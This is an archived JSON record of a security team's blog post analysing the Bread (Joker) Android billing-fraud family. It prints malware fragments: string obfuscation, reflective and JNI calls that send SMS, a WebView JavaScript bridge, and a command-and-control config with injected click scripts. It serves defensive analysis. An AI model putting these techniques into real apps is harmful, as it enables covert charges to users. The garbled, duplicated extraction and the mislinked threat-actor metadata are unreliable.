{
	"id": "df4c7eb8-a736-4637-82ef-e4cf8162d974",
	"created_at": "2026-04-06T00:06:24.970259Z",
	"updated_at": "2026-04-10T03:30:33.155899Z",
	"deleted_at": null,
	"sha1_hash": "76f8b7f708f76f59de7d6415b928d5b7d3708c5c",
	"title": "PHA Family Highlights: Bread (and Friends)",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 1181891,
	"plain_text": "PHA Family Highlights: Bread (and Friends)\r\nBy Posted by Alec Guertin and Vadim Kotov, Android Security \u0026 Privacy Team\r\nPublished: 2020-01-09 · Archived: 2026-04-05 16:31:07 UTC\r\nIn this edition of our PHA Family Highlights series we introduce Bread, a large-scale billing fraud family. We first\r\nstarted tracking Bread (also known as Joker) in early 2017, identifying apps designed solely for SMS fraud. As the\r\nPlay Store has introduced new policies and Google Play Protect has scaled defenses, Bread apps were forced to\r\ncontinually iterate to search for gaps. They have at some point used just about every cloaking and obfuscation\r\ntechnique under the sun in an attempt to go undetected. Many of these samples appear to be designed specifically to\r\nattempt to slip into the Play Store undetected and are not seen elsewhere. In this post, we show how Google Play\r\nProtect has defended against a well organized, persistent attacker and share examples of their techniques.\r\nTL;DR\r\nGoogle Play Protect detected and removed 1.7k unique Bread apps from the Play Store before ever being\r\ndownloaded by users\r\nBread apps originally performed SMS fraud, but have largely abandoned this for WAP billing following the\r\nintroduction of new Play policies restricting use of the SEND_SMS permission and increased coverage by\r\nGoogle Play Protect\r\nMore information on stats and relative impact is available in the Android Security 2018 Year in Review report\r\nBILLING FRAUD\r\nhttps://security.googleblog.com/2020/01/pha-family-highlights-bread-and-friends.html\r\nPage 1 of 14\n\nBread apps typically fall into two categories: SMS fraud (older versions) and toll fraud (newer versions). Both of\r\nthese types of fraud take advantage of mobile billing techniques involving the user’s carrier.\r\nSMS Billing\r\nCarriers may partner with vendors to allow users to pay for services by SMS. The user simply needs to text a\r\nprescribed keyword to a prescribed number (shortcode). A charge is then added to the user’s bill with their mobile\r\nservice provider.\r\nToll Billing\r\nCarriers may also provide payment endpoints over a web page. The user visits the URL to complete the payment and\r\nenters their phone number. Verification that the request is coming from the user’s device is completed using two\r\npossible methods:\r\n1. The user connects to the site over mobile data, not WiFi (so the service provider directly handles the\r\nconnection and can validate the phone number); or\r\n2. The user must retrieve a code sent to them via SMS and enter it into the web page (thereby proving access to\r\nthe provided phone number).\r\nFraud\r\nBoth of the billing methods detailed above provide device verification, but not user verification. The carrier can\r\ndetermine that the request originates from the user’s device, but does not require any interaction from the user that\r\ncannot be automated. Malware authors use injected clicks, custom HTML parsers and SMS receivers to automate the\r\nbilling process without requiring any interaction from the user.\r\nhttps://security.googleblog.com/2020/01/pha-family-highlights-bread-and-friends.html\r\nPage 2 of 14\n\nSTRING \u0026 DATA OBFUSCATION\r\nBread apps have used many innovative and classic techniques to hide strings from analysis engines. Here are some\r\nhighlights.\r\nStandard Encryption\r\nFrequently, Bread apps take advantage of standard crypto libraries in `java.util.crypto`. We have discovered apps\r\nusing AES, Blowfish, and DES as well as combinations of these to encrypt their strings.\r\nCustom Encryption\r\nOther variants have used custom-implemented encryption algorithms. Some common techniques include: basic XOR\r\nencryption, nested XOR and custom key-derivation methods. Some variants have gone so far as to use a different\r\nkey for the strings of each class.\r\nSplit Strings\r\nEncrypted strings can be a signal that the code is trying to hide something. Bread has used a few tricks to keep\r\nstrings in plaintext while preventing basic string matching.\r\nString click_code = new StringBuilder().append(\".cli\").append(\"ck();\");\r\nGoing one step further, these substrings are sometimes scattered throughout the code, retrieved from static variables\r\nand method calls. Various versions may also change the index of the split (e.g. “.clic” and “k();”).\r\nDelimiters\r\nAnother technique to obfuscate unencrypted strings uses repeated delimiters. A short, constant string of characters is\r\ninserted at strategic points to break up keywords:\r\nString js = \"javm6voTascrm6voTipt:window.SDFGHWEGSG.catcm6voThPage(docm6voTument.getElemm6voTentsByTm6v\r\nAt runtime, the delimiter is removed before using the string:\r\njs = js.replaceAll(\"m6voT\", \"\");\r\nAPI OBFUSCATION\r\nSMS and toll fraud generally requires a few basic behaviors (for example, disabling WiFi or accessing SMS), which\r\nare accessible by a handful of APIs. Given that there are a limited number of behaviors required to identify billing\r\nfraud, Bread apps have had to try a wide variety of techniques to mask usage of these APIs.\r\nReflection\r\nhttps://security.googleblog.com/2020/01/pha-family-highlights-bread-and-friends.html\r\nPage 3 of 14\n\nMost methods for hiding API usage tend to use Java reflection in some way. In some samples, Bread has simply\r\ndirectly called the Reflect API on strings decrypted at runtime.\r\nClass smsManagerClass = Class.forName(p.a().decrypt(\"wI7HmhUo0OYTnO2rFy3yxE2DFECD2I9reFnmPF3LuAc=\"));\r\nsmsManagerClass.getMethod(p.a().decrypt(\"0oXNjC4kzLwqnPK9BiL4qw==\"), // sendTextMessage\r\n String.class, String.class, String.class, PendingIntent.class, PendingIntent.\r\nJNI\r\nBread has also tested our ability to analyze native code. In one sample, no SMS-related code appears in the DEX file,\r\nbut there is a native method registered.\r\n public static native void nativesend(String arg0, String arg1);\r\nTwo strings are passed into the call, the shortcode and keyword used for SMS billing (getter methods renamed here\r\nfor clarity).\r\n JniManager.nativesend(this.get_shortcode(), this.get_keyword());\r\nIn the native library, it stores the strings to access the SMS API.\r\nThe nativesend method uses the Java Native Interface (JNI) to fetch and call the Android SMS API. The following\r\nis a screenshot from IDA with comments showing the strings and JNI functions.\r\nhttps://security.googleblog.com/2020/01/pha-family-highlights-bread-and-friends.html\r\nPage 4 of 14\n\nWebView JavaScript Interface\r\nContinuing on the theme of cross-language bridges, Bread has also tried out some obfuscation methods utilizing\r\nJavaScript in WebViews. The following method is declared in the DEX.\r\n public void method1(String p7, String p8, String p9, String p10, String p11) {\r\n Class v0_1 = Class.forName(p7);\r\n Class[] v1_1 = new Class[0];\r\n Object[] v3_1 = new Object[0];\r\n Object v1_3 = v0_1.getMethod(p8, v1_1).invoke(0, v3_1);\r\n Class[] v2_2 = new Class[5];\r\n v2_2[0] = String.class;\r\n v2_2[1] = String.class;\r\n v2_2[2] = String.class;\r\n v2_2[3] = android.app.PendingIntent.class;\r\n v2_2[4] = android.app.PendingIntent.class;\r\n reflect.Method v0_2 = v0_1.getMethod(p9, v2_2);\r\n Object[] v2_4 = new Object[5];\r\n v2_4[0] = p10;\r\n v2_4[1] = 0;\r\n v2_4[2] = p11;\r\n v2_4[3] = 0;\r\n v2_4[4] = 0;\r\n v0_2.invoke(v1_3, v2_4);\r\n }\r\nhttps://security.googleblog.com/2020/01/pha-family-highlights-bread-and-friends.html\r\nPage 5 of 14\n\nWithout context, this method does not reveal much about its intended behavior, and there are no calls made to it\r\nanywhere in the DEX. However, the app does create a WebView and registers a JavaScript interface to this class.\r\nthis.webView.addJavascriptInterface(this, \"stub\");\r\nThis gives JavaScript run in the WebView access to this method. The app loads a URL pointing to a Bread-controlled\r\nserver. The response contains some basic HTML and JavaScript.\r\nIn green, we can see the references to the SMS API. In red, we see those values being passed into the suspicious Java\r\nmethod through the registered interface. Now, using these strings method1 can use reflection to call\r\nsendTextMessage and process the payment.\r\nPACKING\r\nIn addition to implementing custom obfuscation techniques, apps have used several commercially available packers\r\nincluding: Qihoo360, AliProtect and SecShell. More recently, we have seen Bread-related apps trying to hide\r\nmalicious code in a native library shipped with the APK. Earlier this year, we discovered apps hiding a JAR in the\r\ndata section of an ELF file which it then dynamically loads using DexClassLoader . The figure below shows a\r\nfragment of encrypted JAR stored in .rodata section of a shared object shipped with the APK as well as the XOR key\r\nused for decryption.\r\nhttps://security.googleblog.com/2020/01/pha-family-highlights-bread-and-friends.html\r\nPage 6 of 14\n\nAfter we blocked those samples, they moved a significant portion of malicious functionality into the native library,\r\nwhich resulted in a rather peculiar back and forth between Dalvik and native code:\r\nhttps://security.googleblog.com/2020/01/pha-family-highlights-bread-and-friends.html\r\nPage 7 of 14\n\nCOMMAND \u0026 CONTROL\r\nDynamic Shortcodes \u0026 Content\r\nEarly versions of Bread utilized a basic command and control infrastructure to dynamically deliver content and\r\nretrieve billing details. In the example server response below, the green fields show text to be shown to the user. The\r\nred fields are used as the shortcode and keyword for SMS billing.\r\nState Machines\r\nSince various carriers implement the billing process differently, Bread has developed several variants containing\r\ngeneralized state machines implementing all possible steps. At runtime, the apps can check which carrier the device\r\nis connected to and fetch a configuration object from the command and control server. The configuration contains a\r\nlist of steps to execute with URLs and JavaScript.\r\n{\r\n \"message\":\"Success\",\r\n \"result\":[\r\n {\r\n \"list\":[\r\n {\r\n \"endUrl\":\"http://sabai5555.com/\",\r\n \"netType\":0,\r\n \"number\":1,\r\n \"offerId\":\"1009\",\r\n \"step\":1,\r\n \"trankUrl\": \"http://atracking-auto.appflood.com/transaction/post_click?offer_id=19190660\r\n },\r\n {\r\n \"netType\":0,\r\n \"number\":2,\r\n \"offerId\":\"1009\",\r\n \"params\":\"function jsFun(){document.getElementsByTagName('a')[1].click()};\",\r\n \"step\":2\r\n },\r\n {\r\n \"endUrl\":\"http://consentprt.dtac.co.th/webaoc/InformationPage\",\r\nhttps://security.googleblog.com/2020/01/pha-family-highlights-bread-and-friends.html\r\nPage 8 of 14\n\n\"netType\":0,\r\n \"number\":3,\r\n \"offerId\":\"1009\",\r\n \"params\":\"javascript:jsFun()\",\r\n \"step\":4\r\n },\r\n {\r\n \"endUrl\":\"http://consentprt.dtac.co.th/webaoc/SuccessPage\",\r\n \"netType\":0,\r\n \"number\":4,\r\n \"offerId\":\"1009\",\r\n \"params\":\"javascript:getOk()\",\r\n \"step\":3\r\n },\r\n {\r\n \"netType\":0,\r\n \"number\":5,\r\n \"offerId\":\"1009\",\r\n \"step\":7\r\n }\r\n ],\r\n \"netType\":0,\r\n \"offerId\":\"1009\"\r\n }\r\n ],\r\n \"code\":\"200\"\r\n}\r\nThe steps implemented include:\r\nLoad a URL in a WebView\r\nRun JavaScript in WebView\r\nToggle WiFi state\r\nToggle mobile data state\r\nRead/modify SMS inbox\r\nSolve captchas\r\nCaptchas\r\nOne of the more interesting states implements the ability to solve basic captchas (obscured letters and numbers).\r\nFirst, the app creates a JavaScript function to call a Java method, getImageBase64 , exposed to WebView using\r\naddJavascriptInterface .\r\nhttps://security.googleblog.com/2020/01/pha-family-highlights-bread-and-friends.html\r\nPage 9 of 14\n\nThe value used to replace GET_IMG_OBJECT comes from the JSON configuration.\r\n\"params\": \"document.getElementById('captcha')\"\r\nThe app then uses JavaScript injection to create a new script in the carrier’s web page to run the new function.\r\nThe base64-encoded image is then uploaded to an image recognition service. If the text is retrieved successfully, the\r\napp uses JavaScript injection again to submit the HTML form with the captcha answer.\r\nCLOAKING\r\nClient-side Carrier Checks\r\nIn our basic command \u0026 control example above, we didn’t address the (incorrectly labeled) “imei” field.\r\n{\r\n \"button\": \"ยินดีต้อนรับ\",\r\n \"code\": 0,\r\n \"content\": \"F10\",\r\n \"imei\": \"52003,52005,52000\",\r\n \"rule\": \"Here are all the pictures you need, about\r\n happiness, beauty, beauty, etc., with our most\r\n sincere service, to provide you with the most\r\n complete resources.\",\r\n \"service\": \"4219245\"\r\n}\r\nThis contains the Mobile Country Code (MCC) and Mobile Network Code (MNC) values that the billing process\r\nwill work for. In this example, the server response contains several values for Thai carriers. The app checks if the\r\nhttps://security.googleblog.com/2020/01/pha-family-highlights-bread-and-friends.html\r\nPage 10 of 14\n\ndevice’s network matches one of those provided by the server. If it does, it will commence with the billing process. If\nthe value does not match, the app skips the “disclosure” page and billing process and brings the user straight to the\napp content. In some versions, the server would only return valid responses several days after the apps were\nsubmitted.\nServer-side Carrier Checks\nIn the JavaScript bridge API obfuscation example covered above, the server supplied the app with the necessary\nstrings to complete the billing process. However, analysts may not always see the indicators of compromise in the\nserver’s response. In this example, the requests to the server take the following form:\nhttp://X.X.X.X/web?operator=52000\u0026id=com.battery.fakepackage\u0026deviceid=deadbeefdeadbeefdeadbeefdeadbeef\nHere, the “operator” query parameter is the Mobile Country Code and Mobile Network Code . The server can use\nthis information to determine if the user’s carrier is one of Bread’s targets. If not, the response is scrubbed of the\nstrings used to complete the billing fraud.\nไปเดี๋ยดี๋ วนี้\n\ndeadbeefdeadbeefdeadbeefdeadbeef\n\nMISLEADING USERS\nBread apps sometimes display a pop-up to the user that implies some form of compliance or disclosure, showing\nterms and conditions or a confirm button. However, the actual text would often only display a basic welcome\nmessage.\nhttps://security.googleblog.com/2020/01/pha-family-highlights-bread-and-friends.html\nPage 11 of 14\n\nTranslation: “This app is a place to be and it will feel like a superhero with this new app. We hope you enjoy it!”\r\nOther versions included all the pieces needed for a valid disclosure message.\r\nWhen translated the disclosure reads: “Apply Car Racing Clip \\n Please enter your phone number for service details.\r\n\\n Terms and Conditions \\nFrom 9 Baht / day, you will receive 1 message / day. \\nPlease stop the V4 printing service\r\nat 4739504 \\n or call 02-697-9298 \\n Monday - Friday at 8.30 - 5.30pm \\n” However, there are still two issues here:\r\nhttps://security.googleblog.com/2020/01/pha-family-highlights-bread-and-friends.html\r\nPage 12 of 14\n\n1. The numbers to contact for cancelling the subscription are not real\r\n2. The billing process commences even if you don’t hit the “Confirm” button\r\nEven if the disclosure here displayed accurate information, the user would often find that the advertised functionality\r\nof the app did not match the actual content. Bread apps frequently contain no functionality beyond the billing process\r\nor simply clone content from other popular apps.\r\nVERSIONING\r\nBread has also leveraged an abuse tactic unique to app stores: versioning. Some apps have started with clean\r\nversions, in an attempt to grow user bases and build the developer accounts’ reputations. Only later is the malicious\r\ncode introduced, through an update. Interestingly, early “clean” versions contain varying levels of signals that the\r\nupdates will include malicious code later. Some are first uploaded with all the necessary code except the one line that\r\nactually initializes the billing process. Others may have the necessary permissions, but are missing the classes\r\ncontaining the fraud code. And others have all malicious content removed, except for log comments referencing the\r\npayment process. All of these methods attempt to space out the introduction of possible signals in various stages,\r\ntesting for gaps in the publication process. However, GPP does not treat new apps and updates any differently from\r\nan analysis perspective.\r\nFAKE REVIEWS\r\nWhen early versions of apps are first published, many five star reviews appear with comments like:\r\n “So..good..” “very beautiful” Later, 1 star reviews from real users start appearing with\r\ncomments like: “Deception” “The app is not honest …”\r\nSUMMARY\r\nSheer volume appears to be the preferred approach for Bread developers. At different times, we have seen three or\r\nmore active variants using different approaches or targeting different carriers. Within each variant, the malicious\r\ncode present in each sample may look nearly identical with only one evasion technique changed. Sample 1 may use\r\nAES-encrypted strings with reflection, while Sample 2 (submitted on the same day) will use the same code but with\r\nplaintext strings. At peak times of activity, we have seen up to 23 different apps from this family submitted to Play in\r\none day. At other times, Bread appears to abandon hope of making a variant successful and we see a gap of a week or\r\nlonger before the next variant. This family showcases the amount of resources that malware authors now have to\r\nexpend. Google Play Protect is constantly updating detection engines and warning users of malicious apps installed\r\non their device.\r\nSELECTED SAMPLES\r\nPackage Name SHA-256 Digest\r\ncom.rabbit.artcamera 18c277c7953983f45f2fe6ab4c7d872b2794c256604e43500045cb2b2084103f\r\norg.horoscope.astrology.predict 6f1a1dbeb5b28c80ddc51b77a83c7a27b045309c4f1bff48aaff7d79dfd4eb26\r\nhttps://security.googleblog.com/2020/01/pha-family-highlights-bread-and-friends.html\r\nPage 13 of 14\n\ncom.theforest.rotatemarswallpaper 4e78a26832a0d471922eb61231bc498463337fed8874db5f70b17dd06dcb9f09\r\ncom.jspany.temp 0ce78efa764ce1e7fb92c4de351ec1113f3e2ca4b2932feef46d7d62d6ae87f5\r\ncom.hua.ru.quan 780936deb27be5dceea20a5489014236796a74cc967a12e36cb56d9b8df9bc86\r\ncom.rongnea.udonood 8b2271938c524dd1064e74717b82e48b778e49e26b5ac2dae8856555b5489131\r\ncom.mbv.a.wp 01611e16f573da2c9dbc7acdd445d84bae71fecf2927753e341d8a5652b89a68\r\ncom.pho.nec.sg b4822eeb71c83e4aab5ddfecfb58459e5c5e10d382a2364da1c42621f58e119b\r\nSource: https://security.googleblog.com/2020/01/pha-family-highlights-bread-and-friends.html\r\nhttps://security.googleblog.com/2020/01/pha-family-highlights-bread-and-friends.html\r\nPage 14 of 14\n\nOther versions When translated included all the disclosure the pieces needed reads: “Apply for a valid Car Racing disclosure Clip \\n Please message. enter your phone number for service details.\n\\n Terms and Conditions \\nFrom 9 Baht / day, you will receive 1 message / day. \\nPlease stop the V4 printing service\nat 4739504 \\n or call 02-697-9298 \\n Monday -Friday at 8.30-5.30pm \\n” However, there are still two issues here:\n    Page 12 of 14",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia",
		"MITRE"
	],
	"references": [
		"https://security.googleblog.com/2020/01/pha-family-highlights-bread-and-friends.html"
	],
	"report_names": [
		"pha-family-highlights-bread-and-friends.html"
	],
	"threat_actors": [
		{
			"id": "75108fc1-7f6a-450e-b024-10284f3f62bb",
			"created_at": "2024-11-01T02:00:52.756877Z",
			"updated_at": "2026-04-10T02:00:05.273746Z",
			"deleted_at": null,
			"main_name": "Play",
			"aliases": null,
			"source_name": "MITRE:Play",
			"tools": [
				"Nltest",
				"AdFind",
				"PsExec",
				"Wevtutil",
				"Cobalt Strike",
				"Playcrypt",
				"Mimikatz"
			],
			"source_id": "MITRE",
			"reports": null
		}
	],
	"ts_created_at": 1775433984,
	"ts_updated_at": 1775791833,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/76f8b7f708f76f59de7d6415b928d5b7d3708c5c.pdf",
		"text": "https://archive.orkl.eu/76f8b7f708f76f59de7d6415b928d5b7d3708c5c.txt",
		"img": "https://archive.orkl.eu/76f8b7f708f76f59de7d6415b928d5b7d3708c5c.jpg"
	}
}